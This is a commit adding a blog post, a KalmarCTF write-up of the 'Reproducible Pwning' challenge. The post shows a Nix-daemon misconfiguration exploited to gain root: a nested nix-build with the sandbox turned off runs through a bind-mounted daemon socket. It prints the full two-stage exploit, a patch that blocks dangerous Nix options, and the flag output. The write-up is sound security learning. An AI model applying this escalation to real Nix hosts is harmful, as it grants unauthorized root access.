reproducible pwning
This commit is contained in:
Jade Lovelace
parent
06267b2bf7
commit
c12a6dd830
1 changed files with 295 additions and 0 deletions
295
content/posts/reproducible-pwning-writeup.md
Normal file
295
content/posts/reproducible-pwning-writeup.md
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
+++
|
||||
date = "2024-03-16"
|
||||
draft = false
|
||||
path = "/blog/reproducible-pwning-writeup"
|
||||
tags = ["ctf", "nix"]
|
||||
title = "KalmarCTF: Reproducible Pwning writeup"
|
||||
+++
|
||||
|
||||
I was making memes in the CTF room until someone told me Nix showed up
|
||||
on a CTF, and well. It doesn't take that much to tempt me.
|
||||
|
||||
Reproducible Pwning is a challenge written by
|
||||
[niko](https://hachyderm.io/@nrab), which involves a NixOS VM you're supposed
|
||||
to root. The build user is not notably privileged.
|
||||
|
||||
There is a flag in `/data` which is mounted from the host via some means. That
|
||||
directory is only readable by root.
|
||||
|
||||
There is a patch to the Nix evaluator. Interesting:
|
||||
|
||||
```patch
|
||||
diff --git a/src/libutil/config.cc b/src/libutil/config.cc
|
||||
index 37f5b50c7..fd824ee03 100644
|
||||
--- a/src/libutil/config.cc
|
||||
+++ b/src/libutil/config.cc
|
||||
@@ -1,3 +1,4 @@
|
||||
+#include "logging.hh"
|
||||
#include "config.hh"
|
||||
#include "args.hh"
|
||||
#include "abstract-setting-to-json.hh"
|
||||
@@ -17,6 +18,16 @@ Config::Config(StringMap initials)
|
||||
|
||||
bool Config::set(const std::string & name, const std::string & value)
|
||||
{
|
||||
+ if (name.find("build-hook") != std::string::npos
|
||||
+ || name == "accept-flake-config"
|
||||
+ || name == "allow-new-privileges"
|
||||
+ || name == "impure-env") {
|
||||
+ logWarning({
|
||||
+ .msg = hintfmt("Option '%1%' is too dangerous, skipping.", name)
|
||||
+ });
|
||||
+ return true;
|
||||
+ }
|
||||
+
|
||||
bool append = false;
|
||||
auto i = _settings.find(name);
|
||||
if (i == _settings.end()) {
|
||||
```
|
||||
|
||||
The machine is configured with the following NixOS module, which I pulled out
|
||||
of the included flake. The rest of the flake is normal stuff. There are a few
|
||||
things that stand out to me:
|
||||
|
||||
- sudo is disabled, polkit is disabled: we are probably not looking for some
|
||||
setuid exploit
|
||||
- There are some *extremely* nonstandard Nix config settings being applied
|
||||
|
||||
```nix
|
||||
({pkgs, ...}: {
|
||||
nixpkgs.hostPlatform = "x86_64-linux";
|
||||
nixpkgs.overlays = [
|
||||
(final: prev: {
|
||||
# JADE: likely vulnerable to puck's CVE, but I doubt that is the bug cuz they
|
||||
# added a patch and there is other funny business up.
|
||||
nix = final.nixVersions.nix_2_13.overrideAttrs {
|
||||
patches = [./nix.patch];
|
||||
# JADE: due to broken integration tests, almost certainly
|
||||
doInstallCheck = false;
|
||||
};
|
||||
})
|
||||
];
|
||||
|
||||
# JADE: no interesting setuid binaries
|
||||
security = {
|
||||
sudo.enable = false;
|
||||
polkit.enable = false;
|
||||
};
|
||||
|
||||
systemd.services.nix-daemon.serviceConfig.EnvironmentFile = let
|
||||
# JADE: here is the wacky part of the config.
|
||||
# This exposes the Nix daemon socket inside the sandbox (this is mostly
|
||||
# never the case unless using recursive-nix). So we are going to
|
||||
# be running a nix build inside a nix build to do something.
|
||||
sandbox = pkgs.writeText "nix-daemon-config" ''
|
||||
extra-sandbox-paths = /tmp/daemon=/nix/var/nix/daemon-socket/socket
|
||||
'';
|
||||
# JADE: I don't know what this does, so we are going to be reading some C++Nix
|
||||
# source code. But it sure smells like running the build as root.
|
||||
buildug = pkgs.writeText "nix-daemon-config" ''
|
||||
build-users-group =
|
||||
'';
|
||||
in
|
||||
# JADE: Sets additional config files to only the nix daemon. This is
|
||||
# documented in the Nix manual.
|
||||
pkgs.writeText "env" ''
|
||||
NIX_USER_CONF_FILES=${sandbox}:${buildug}
|
||||
'';
|
||||
})
|
||||
```
|
||||
|
||||
Here is the rest of the module which is uninteresting:
|
||||
|
||||
{% codesample(desc="`boring-module.nix`") %}
|
||||
```nix
|
||||
{ ... }: {
|
||||
# JADE: what the heck is this? It seems like some kind of kernel-problems
|
||||
# storage thing. Later found out this is nothing.
|
||||
environment.etc."systemd/pstore.conf".text = ''
|
||||
[PStore]
|
||||
Unlink=no
|
||||
'';
|
||||
|
||||
users.users.root.initialHashedPassword = "x";
|
||||
users.users.user = {
|
||||
isNormalUser = true;
|
||||
initialHashedPassword = "";
|
||||
group = "user";
|
||||
};
|
||||
users.groups.user = {};
|
||||
|
||||
system.stateVersion = "22.04";
|
||||
|
||||
services.openssh = {
|
||||
enable = true;
|
||||
settings.PermitRootLogin = "no";
|
||||
};
|
||||
|
||||
# JADE: save some image size
|
||||
environment.noXlibs = true;
|
||||
documentation.man.enable = false;
|
||||
documentation.doc.enable = false;
|
||||
fonts.fontconfig.enable = false;
|
||||
|
||||
nix.settings = {
|
||||
# JADE: this option has no interesting security impact, just whether you
|
||||
# can build during evaluation phase.
|
||||
allow-import-from-derivation = false;
|
||||
experimental-features = ["flakes" "nix-command" "repl-flake" "no-url-literals"];
|
||||
};
|
||||
}
|
||||
```
|
||||
{% end %}
|
||||
|
||||
So, to sum up:
|
||||
- We have a Nix daemon socket in the sandbox.
|
||||
- We are running builds with some weird group.
|
||||
- Several config settings that make trusted users effectively root are
|
||||
blocked by the patch. Interesting. We probably become a trusted user then.
|
||||
|
||||
So like, let's run some build.
|
||||
|
||||
```nix
|
||||
let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
''
|
||||
```
|
||||
|
||||
This gives me:
|
||||
|
||||
```
|
||||
this derivation will be built:
|
||||
/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv
|
||||
building '/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
```
|
||||
|
||||
Hm. Boring, I was expecting to be root already.
|
||||
|
||||
But, why is there a socket in there? Let's try invoking another build inside
|
||||
our build, maybe? And, based on the assumption we must be trusted user (since I
|
||||
can't think of any other reason interaction with the bind-mounted socket would
|
||||
be different from inside the sandbox), let's try just turning off the sandbox
|
||||
in the inner build and see what happens?
|
||||
|
||||
```nix
|
||||
let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
# dont worry about the contents quite yet
|
||||
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
|
||||
''
|
||||
```
|
||||
|
||||
and `stage2.nix`:
|
||||
|
||||
```nix
|
||||
let
|
||||
pkgs = import (builtins.getEnv "PKGS") { };
|
||||
in
|
||||
pkgs.runCommand "meow2" { } ''
|
||||
echo MEOW2
|
||||
id -a
|
||||
''
|
||||
```
|
||||
|
||||
This outputs:
|
||||
|
||||
```
|
||||
this derivation will be built:
|
||||
/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv
|
||||
building '/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
this derivation will be built:
|
||||
/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv
|
||||
building '/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv'...
|
||||
MEOW2
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
Welp, I am root. Change stage 2 to `cat /data/*` and we have a flag:
|
||||
|
||||
```
|
||||
[user@nixos:~]$ cat >stage1.nix <<-'EOF'
|
||||
> let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
|
||||
''
|
||||
> EOF
|
||||
|
||||
[user@nixos:~]$ cat >stage2.nix <<-'EOF'
|
||||
> let
|
||||
pkgs = import (builtins.getEnv "PKGS") { };
|
||||
in
|
||||
pkgs.runCommand "meow2" { } ''
|
||||
echo MEOW2
|
||||
id -a
|
||||
ls / || true
|
||||
ls /data || true
|
||||
cat /data/*
|
||||
''
|
||||
> EOF
|
||||
|
||||
[user@nixos:~]$ nix-build stage1.nix
|
||||
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring
|
||||
these 2 derivations will be built:
|
||||
/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv
|
||||
/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv
|
||||
these 11 paths will be fetched (3.92 MiB download, 23.41 MiB unpacked):
|
||||
<SNIP>
|
||||
building '/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv'...
|
||||
warning: Option 'accept-flake-config' is too dangerous, skipping.
|
||||
warning: Option 'allow-new-privileges' is too dangerous, skipping.
|
||||
warning: Option 'build-hook' is too dangerous, skipping.
|
||||
warning: Option 'post-build-hook' is too dangerous, skipping.
|
||||
warning: Option 'pre-build-hook' is too dangerous, skipping.
|
||||
building '/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
this derivation will be built:
|
||||
/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv
|
||||
warning: Option 'accept-flake-config' is too dangerous, skipping.
|
||||
warning: Option 'allow-new-privileges' is too dangerous, skipping.
|
||||
warning: Option 'build-hook' is too dangerous, skipping.
|
||||
warning: Option 'post-build-hook' is too dangerous, skipping.
|
||||
warning: Option 'pre-build-hook' is too dangerous, skipping.
|
||||
building '/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv'...
|
||||
MEOW2
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bin dev home lib64 proc run sys usr
|
||||
data etc lib nix root srv tmp var
|
||||
flag
|
||||
kalmar{0nlyReproduc1bleMisconfigurationsH3R3}
|
||||
```
|
||||
|
||||
I was informed later that I found an unintended solution, and one was not
|
||||
supposed to "simply set `sandbox = false`". The intended solution was to either
|
||||
use the `diff-hook` setting which is run as the daemon's user (like
|
||||
`post-build-hook` and `build-hook` which were conspicuously also banned), or
|
||||
abuse being root to tamper with the inputs to the derivation and overwriting
|
||||
something run by a privileged user.
|
||||
|
||||
I don't think the unintended solution was that bad, though, because once you
|
||||
are trusted user, it is assumed in the Nix codebase that you can just root the
|
||||
box.
|
||||
Loading…
Add table
Add a link
Reference in a new issue